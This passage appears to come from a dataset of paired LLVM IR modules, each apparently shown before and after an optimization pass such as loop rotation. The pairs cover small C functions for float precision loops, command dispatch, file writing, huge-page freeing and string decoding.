br i1 %179, label %.lr.ph14, label %191
.lr.ph14: ; preds = %168
br label %180
180: ; preds = %.lr.ph14, %180
%181 = load i32, ptr %26, align 4
%182 = add nsw i32 %181, 1
store i32 %182, ptr %26, align 4
%183 = load double, ptr %18, align 8
store double %183, ptr %17, align 8
%184 = load double, ptr %17, align 8
%185 = fmul double %184, 2.000000e+00
store double %185, ptr %18, align 8
%186 = load double, ptr %18, align 8
%187 = fdiv double %186, 2.000000e+00
store double %187, ptr %19, align 8
%188 = load double, ptr %19, align 8
%189 = load double, ptr %17, align 8
%190 = fcmp oeq double %188, %189
br i1 %190, label %180, label %._crit_edge15, !llvm.loop !12
._crit_edge15: ; preds = %180
br label %191
191: ; preds = %._crit_edge15, %168
%192 = load i32, ptr %26, align 4
%193 = load double, ptr %17, align 8
%194 = call i32 (ptr, ...) @printf(ptr noundef @.str.10, ptr noundef @.str.12, i32 noundef %192, double noundef %193)
%195 = call i32 (ptr, ...) @printf(ptr noundef @.str.13)
store i32 0, ptr %27, align 4
store float 1.000000e+00, ptr %14, align 4
%196 = load float, ptr %14, align 4
%197 = fdiv float %196, 2.000000e+00
store float %197, ptr %15, align 4
%198 = load float, ptr %15, align 4
%199 = fmul float %198, 2.000000e+00
store float %199, ptr %16, align 4
%200 = load float, ptr %16, align 4
%201 = load float, ptr %14, align 4
%202 = fcmp oeq float %200, %201
br i1 %202, label %.lr.ph17, label %214
.lr.ph17: ; preds = %191
br label %203
203: ; preds = %.lr.ph17, %203
%204 = load i32, ptr %27, align 4
%205 = add nsw i32 %204, -1
store i32 %205, ptr %27, align 4
%206 = load float, ptr %15, align 4
store float %206, ptr %14, align 4
%207 = load float, ptr %14, align 4
%208 = fdiv float %207, 2.000000e+00
store float %208, ptr %15, align 4
%209 = load float, ptr %15, align 4
%210 = fmul float %209, 2.000000e+00
store float %210, ptr %16, align 4
%211 = load float, ptr %16, align 4
%212 = load float, ptr %14, align 4
%213 = fcmp oeq float %211, %212
br i1 %213, label %203, label %._crit_edge18, !llvm.loop !13
._crit_edge18: ; preds = %203
br label %214
214: ; preds = %._crit_edge18, %191
%215 = load i32, ptr %27, align 4
%216 = load float, ptr %14, align 4
%217 = fpext float %216 to double
%218 = call i32 (ptr, ...) @printf(ptr noundef @.str.10, ptr noundef @.str.11, i32 noundef %215, double noundef %217)
store i32 0, ptr %28, align 4
store double 1.000000e+00, ptr %17, align 8
%219 = load double, ptr %17, align 8
%220 = fdiv double %219, 2.000000e+00
store double %220, ptr %18, align 8
%221 = load double, ptr %18, align 8
%222 = fmul double %221, 2.000000e+00
store double %222, ptr %19, align 8
%223 = load double, ptr %19, align 8
%224 = load double, ptr %17, align 8
%225 = fcmp oeq double %223, %224
br i1 %225, label %.lr.ph20, label %237
.lr.ph20: ; preds = %214
br label %226
226: ; preds = %.lr.ph20, %226
%227 = load i32, ptr %28, align 4
%228 = add nsw i32 %227, -1
store i32 %228, ptr %28, align 4
%229 = load double, ptr %18, align 8
store double %229, ptr %17, align 8
%230 = load double, ptr %17, align 8
%231 = fdiv double %230, 2.000000e+00
store double %231, ptr %18, align 8
%232 = load double, ptr %18, align 8
%233 = fmul double %232, 2.000000e+00
store double %233, ptr %19, align 8
%234 = load double, ptr %19, align 8
%235 = load double, ptr %17, align 8
%236 = fcmp oeq double %234, %235
br i1 %236, label %226, label %._crit_edge21, !llvm.loop !14
._crit_edge21: ; preds = %226
br label %237
237: ; preds = %._crit_edge21, %214
%238 = load i32, ptr %28, align 4
%239 = load double, ptr %17, align 8
%240 = call i32 (ptr, ...) @printf(ptr noundef @.str.10, ptr noundef @.str.12, i32 noundef %238, double noundef %239)
%241 = load i8, ptr %20, align 4
%242 = sext i8 %241 to i32
%243 = icmp eq i32 %242, 1
%244 = zext i1 %243 to i64
%245 = select i1 %243, ptr @.str.15, ptr @.str.16
%246 = call i32 (ptr, ...) @printf(ptr noundef @.str.14, ptr noundef %245)
ret i32 0
}
declare i32 @printf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
!10 = distinct !{!10, !7}
!11 = distinct !{!11, !7}
!12 = distinct !{!12, !7}
!13 = distinct !{!13, !7}
!14 = distinct !{!14, !7}
|
; ModuleID = '/tmp/tmp45vnk3qs.c'
source_filename = "/tmp/tmp45vnk3qs.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @run(ptr noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
%4 = load ptr, ptr %3, align 8
%5 = call i64 @check_cd(ptr noundef %4)
%6 = icmp ne i64 %5, 0
br i1 %6, label %7, label %10
7: ; preds = %1
%8 = load ptr, ptr %3, align 8
%9 = call i32 @run_cd(ptr noundef %8)
br label %13
10: ; preds = %1
%11 = load ptr, ptr %3, align 8
%12 = call i32 @run_exec(ptr noundef %11)
br label %13
13: ; preds = %10, %7
%14 = load i32, ptr %2, align 4
ret i32 %14
}
declare i64 @check_cd(ptr noundef) #1
declare i32 @run_cd(ptr noundef) #1
declare i32 @run_exec(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp45vnk3qs.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @run(ptr noundef %0) #0 {
%2 = alloca i32, align 4
%3 = alloca ptr, align 8
store ptr %0, ptr %3, align 8
%4 = load ptr, ptr %3, align 8
%5 = call i64 @check_cd(ptr noundef %4)
%6 = icmp ne i64 %5, 0
br i1 %6, label %7, label %10
7: ; preds = %1
%8 = load ptr, ptr %3, align 8
%9 = call i32 @run_cd(ptr noundef %8)
br label %13
10: ; preds = %1
%11 = load ptr, ptr %3, align 8
%12 = call i32 @run_exec(ptr noundef %11)
br label %13
13: ; preds = %10, %7
%14 = load i32, ptr %2, align 4
ret i32 %14
}
declare i64 @check_cd(ptr noundef) #1
declare i32 @run_cd(ptr noundef) #1
declare i32 @run_exec(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpmwf_tw5h.c'
source_filename = "/tmp/tmpmwf_tw5h.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpmwf_tw5h.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp_x254uuh.c'
source_filename = "/tmp/tmp_x254uuh.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp_x254uuh.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp089h2x68.c'
source_filename = "/tmp/tmp089h2x68.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [27 x i8] c"- Open output file: %s\0A\00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"wb\00", align 1
@SEEK_SET = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @write_output_file(ptr noundef %0, i32 noundef %1, ptr noundef %2, i32 noundef %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
%9 = alloca ptr, align 8
%10 = alloca ptr, align 8
store ptr %0, ptr %5, align 8
store i32 %1, ptr %6, align 4
store ptr %2, ptr %7, align 8
store i32 %3, ptr %8, align 4
%11 = load ptr, ptr %5, align 8
%12 = call ptr @create_dir(ptr noundef %11)
store ptr %12, ptr %10, align 8
%13 = load ptr, ptr %5, align 8
%14 = call i32 @printf(ptr noundef @.str, ptr noundef %13)
%15 = load ptr, ptr %5, align 8
%16 = call ptr @fopen(ptr noundef %15, ptr noundef @.str.1)
store ptr %16, ptr %9, align 8
%17 = load ptr, ptr %9, align 8
%18 = icmp ne ptr %17, null
br i1 %18, label %21, label %19
19: ; preds = %4
%20 = call i32 (...) @std_err()
br label %21
21: ; preds = %19, %4
%22 = load i32, ptr %6, align 4
%23 = icmp ne i32 %22, 0
br i1 %23, label %24, label %29
24: ; preds = %21
%25 = load ptr, ptr %9, align 8
%26 = load i32, ptr %6, align 4
%27 = load i32, ptr @SEEK_SET, align 4
%28 = call i32 @fseek(ptr noundef %25, i32 noundef %26, i32 noundef %27)
br label %29
29: ; preds = %24, %21
%30 = load ptr, ptr %7, align 8
%31 = load i32, ptr %8, align 4
%32 = load ptr, ptr %9, align 8
%33 = call i32 @fwrite(ptr noundef %30, i32 noundef 1, i32 noundef %31, ptr noundef %32)
%34 = load ptr, ptr %9, align 8
%35 = call i32 @fclose(ptr noundef %34)
ret void
}
declare ptr @create_dir(ptr noundef) #1
declare i32 @printf(ptr noundef, ptr noundef) #1
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare i32 @std_err(...) #1
declare i32 @fseek(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @fwrite(ptr noundef, i32 noundef, i32 noundef, ptr noundef) #1
declare i32 @fclose(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp089h2x68.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [27 x i8] c"- Open output file: %s\0A\00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"wb\00", align 1
@SEEK_SET = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @write_output_file(ptr noundef %0, i32 noundef %1, ptr noundef %2, i32 noundef %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
%9 = alloca ptr, align 8
%10 = alloca ptr, align 8
store ptr %0, ptr %5, align 8
store i32 %1, ptr %6, align 4
store ptr %2, ptr %7, align 8
store i32 %3, ptr %8, align 4
%11 = load ptr, ptr %5, align 8
%12 = call ptr @create_dir(ptr noundef %11)
store ptr %12, ptr %10, align 8
%13 = load ptr, ptr %5, align 8
%14 = call i32 @printf(ptr noundef @.str, ptr noundef %13)
%15 = load ptr, ptr %5, align 8
%16 = call ptr @fopen(ptr noundef %15, ptr noundef @.str.1)
store ptr %16, ptr %9, align 8
%17 = load ptr, ptr %9, align 8
%18 = icmp ne ptr %17, null
br i1 %18, label %21, label %19
19: ; preds = %4
%20 = call i32 (...) @std_err()
br label %21
21: ; preds = %19, %4
%22 = load i32, ptr %6, align 4
%23 = icmp ne i32 %22, 0
br i1 %23, label %24, label %29
24: ; preds = %21
%25 = load ptr, ptr %9, align 8
%26 = load i32, ptr %6, align 4
%27 = load i32, ptr @SEEK_SET, align 4
%28 = call i32 @fseek(ptr noundef %25, i32 noundef %26, i32 noundef %27)
br label %29
29: ; preds = %24, %21
%30 = load ptr, ptr %7, align 8
%31 = load i32, ptr %8, align 4
%32 = load ptr, ptr %9, align 8
%33 = call i32 @fwrite(ptr noundef %30, i32 noundef 1, i32 noundef %31, ptr noundef %32)
%34 = load ptr, ptr %9, align 8
%35 = call i32 @fclose(ptr noundef %34)
ret void
}
declare ptr @create_dir(ptr noundef) #1
declare i32 @printf(ptr noundef, ptr noundef) #1
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare i32 @std_err(...) #1
declare i32 @fseek(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @fwrite(ptr noundef, i32 noundef, i32 noundef, ptr noundef) #1
declare i32 @fclose(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpoksrkptf.c'
source_filename = "/tmp/tmpoksrkptf.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @free_huge_pages(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
%4 = alloca i64, align 8
store ptr %0, ptr %2, align 8
%5 = load ptr, ptr %2, align 8
%6 = icmp eq ptr %5, null
br i1 %6, label %7, label %8
7: ; preds = %1
br label %27
8: ; preds = %1
%9 = load ptr, ptr %2, align 8
%10 = getelementptr inbounds i8, ptr %9, i64 -2097152
store ptr %10, ptr %3, align 8
%11 = load ptr, ptr %3, align 8
%12 = load i64, ptr %11, align 8
store i64 %12, ptr %4, align 8
%13 = load i64, ptr %4, align 8
%14 = urem i64 %13, 2097152
%15 = icmp eq i64 %14, 0
%16 = zext i1 %15 to i32
%17 = call i32 @assert(i32 noundef %16)
%18 = load i64, ptr %4, align 8
%19 = icmp ne i64 %18, 0
br i1 %19, label %20, label %24
20: ; preds = %8
%21 = load ptr, ptr %3, align 8
%22 = load i64, ptr %4, align 8
%23 = call i32 @munmap(ptr noundef %21, i64 noundef %22)
br label %27
24: ; preds = %8
%25 = load ptr, ptr %3, align 8
%26 = call i32 @free(ptr noundef %25)
br label %27
27: ; preds = %7, %24, %20
ret void
}
declare i32 @assert(i32 noundef) #1
declare i32 @munmap(ptr noundef, i64 noundef) #1
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpoksrkptf.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @free_huge_pages(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
%4 = alloca i64, align 8
store ptr %0, ptr %2, align 8
%5 = load ptr, ptr %2, align 8
%6 = icmp eq ptr %5, null
br i1 %6, label %7, label %8
7: ; preds = %1
br label %27
8: ; preds = %1
%9 = load ptr, ptr %2, align 8
%10 = getelementptr inbounds i8, ptr %9, i64 -2097152
store ptr %10, ptr %3, align 8
%11 = load ptr, ptr %3, align 8
%12 = load i64, ptr %11, align 8
store i64 %12, ptr %4, align 8
%13 = load i64, ptr %4, align 8
%14 = urem i64 %13, 2097152
%15 = icmp eq i64 %14, 0
%16 = zext i1 %15 to i32
%17 = call i32 @assert(i32 noundef %16)
%18 = load i64, ptr %4, align 8
%19 = icmp ne i64 %18, 0
br i1 %19, label %20, label %24
20: ; preds = %8
%21 = load ptr, ptr %3, align 8
%22 = load i64, ptr %4, align 8
%23 = call i32 @munmap(ptr noundef %21, i64 noundef %22)
br label %27
24: ; preds = %8
%25 = load ptr, ptr %3, align 8
%26 = call i32 @free(ptr noundef %25)
br label %27
27: ; preds = %24, %20, %7
ret void
}
declare i32 @assert(i32 noundef) #1
declare i32 @munmap(ptr noundef, i64 noundef) #1
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpru1izngr.c'
source_filename = "/tmp/tmpru1izngr.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@NAN = dso_local global double 0.000000e+00, align 8
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @tkh_decode_drift(ptr noundef %0) #0 {
%2 = alloca double, align 8
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i8, align 1
%8 = alloca double, align 8
store ptr %0, ptr %3, align 8
%9 = load ptr, ptr %3, align 8
%10 = load i8, ptr %9, align 1
%11 = sext i8 %10 to i32
%12 = icmp eq i32 %11, 43
br i1 %12, label %13, label %14
13: ; preds = %1
store i32 1, ptr %4, align 4
br label %23
14: ; preds = %1
%15 = load ptr, ptr %3, align 8
%16 = load i8, ptr %15, align 1
%17 = sext i8 %16 to i32
%18 = icmp eq i32 %17, 45
br i1 %18, label %19, label %20
19: ; preds = %14
store i32 -1, ptr %4, align 4
br label %22
20: ; preds = %14
%21 = load double, ptr @NAN, align 8
store double %21, ptr %2, align 8
br label %63
22: ; preds = %19
br label %23
23: ; preds = %22, %13
store i32 0, ptr %5, align 4
store i32 1, ptr %6, align 4
br label %24
24: ; preds = %49, %23
%25 = load i32, ptr %6, align 4
%26 = icmp slt i32 %25, 9
br i1 %26, label %27, label %52
27: ; preds = %24
%28 = load ptr, ptr %3, align 8
%29 = load i32, ptr %6, align 4
%30 = sext i32 %29 to i64
%31 = getelementptr inbounds i8, ptr %28, i64 %30
%32 = load i8, ptr %31, align 1
store i8 %32, ptr %7, align 1
%33 = load i8, ptr %7, align 1
%34 = sext i8 %33 to i32
%35 = icmp slt i32 %34, 48
br i1 %35, label %40, label %36
36: ; preds = %27
%37 = load i8, ptr %7, align 1
%38 = sext i8 %37 to i32
%39 = icmp sgt i32 %38, 57
br i1 %39, label %40, label %42
40: ; preds = %36, %27
%41 = load double, ptr @NAN, align 8
store double %41, ptr %2, align 8
br label %63
42: ; preds = %36
%43 = load i32, ptr %5, align 4
%44 = mul nsw i32 %43, 10
%45 = load i8, ptr %7, align 1
%46 = sext i8 %45 to i32
%47 = sub nsw i32 %46, 48
%48 = add nsw i32 %44, %47
store i32 %48, ptr %5, align 4
br label %49
49: ; preds = %42
%50 = load i32, ptr %6, align 4
%51 = add nsw i32 %50, 1
store i32 %51, ptr %6, align 4
br label %24, !llvm.loop !6
52: ; preds = %24
%53 = load i32, ptr %4, align 4
%54 = load i32, ptr %5, align 4
%55 = mul nsw i32 %53, %54
%56 = sitofp i32 %55 to double
store double %56, ptr %8, align 8
%57 = load double, ptr %8, align 8
%58 = fcmp oeq double %57, 0.000000e+00
br i1 %58, label %59, label %60
59: ; preds = %52
store double 0.000000e+00, ptr %2, align 8
br label %63
60: ; preds = %52
%61 = load double, ptr %8, align 8
%62 = fdiv double 1.000000e+00, %61
store double %62, ptr %2, align 8
br label %63
63: ; preds = %60, %59, %40, %20
%64 = load double, ptr %2, align 8
ret double %64
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpru1izngr.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@NAN = dso_local global double 0.000000e+00, align 8
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local double @tkh_decode_drift(ptr noundef %0) #0 {
%2 = alloca double, align 8
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i8, align 1
%8 = alloca double, align 8
store ptr %0, ptr %3, align 8
%9 = load ptr, ptr %3, align 8
%10 = load i8, ptr %9, align 1
%11 = sext i8 %10 to i32
%12 = icmp eq i32 %11, 43
br i1 %12, label %13, label %14
13: ; preds = %1
store i32 1, ptr %4, align 4
br label %23
14: ; preds = %1
%15 = load ptr, ptr %3, align 8
%16 = load i8, ptr %15, align 1
%17 = sext i8 %16 to i32
%18 = icmp eq i32 %17, 45
br i1 %18, label %19, label %20
19: ; preds = %14
store i32 -1, ptr %4, align 4
br label %22
20: ; preds = %14
%21 = load double, ptr @NAN, align 8
store double %21, ptr %2, align 8
br label %64
22: ; preds = %19
br label %23
23: ; preds = %22, %13
store i32 0, ptr %5, align 4
store i32 1, ptr %6, align 4
%24 = load i32, ptr %6, align 4
%25 = icmp slt i32 %24, 9
br i1 %25, label %.lr.ph, label %53
.lr.ph: ; preds = %23
br label %26
26: ; preds = %.lr.ph, %48
%27 = load ptr, ptr %3, align 8
%28 = load i32, ptr %6, align 4
%29 = sext i32 %28 to i64
%30 = getelementptr inbounds i8, ptr %27, i64 %29
%31 = load i8, ptr %30, align 1
store i8 %31, ptr %7, align 1
%32 = load i8, ptr %7, align 1
%33 = sext i8 %32 to i32
%34 = icmp slt i32 %33, 48
br i1 %34, label %39, label %35
35: ; preds = %26
%36 = load i8, ptr %7, align 1
%37 = sext i8 %36 to i32
%38 = icmp sgt i32 %37, 57
br i1 %38, label %39, label %41
39: ; preds = %35, %26
%40 = load double, ptr @NAN, align 8
store double %40, ptr %2, align 8
br label %64
41: ; preds = %35
%42 = load i32, ptr %5, align 4
%43 = mul nsw i32 %42, 10
%44 = load i8, ptr %7, align 1
%45 = sext i8 %44 to i32
%46 = sub nsw i32 %45, 48
%47 = add nsw i32 %43, %46
store i32 %47, ptr %5, align 4
br label %48
48: ; preds = %41
%49 = load i32, ptr %6, align 4
%50 = add nsw i32 %49, 1
store i32 %50, ptr %6, align 4
%51 = load i32, ptr %6, align 4
%52 = icmp slt i32 %51, 9
br i1 %52, label %26, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %48
br label %53
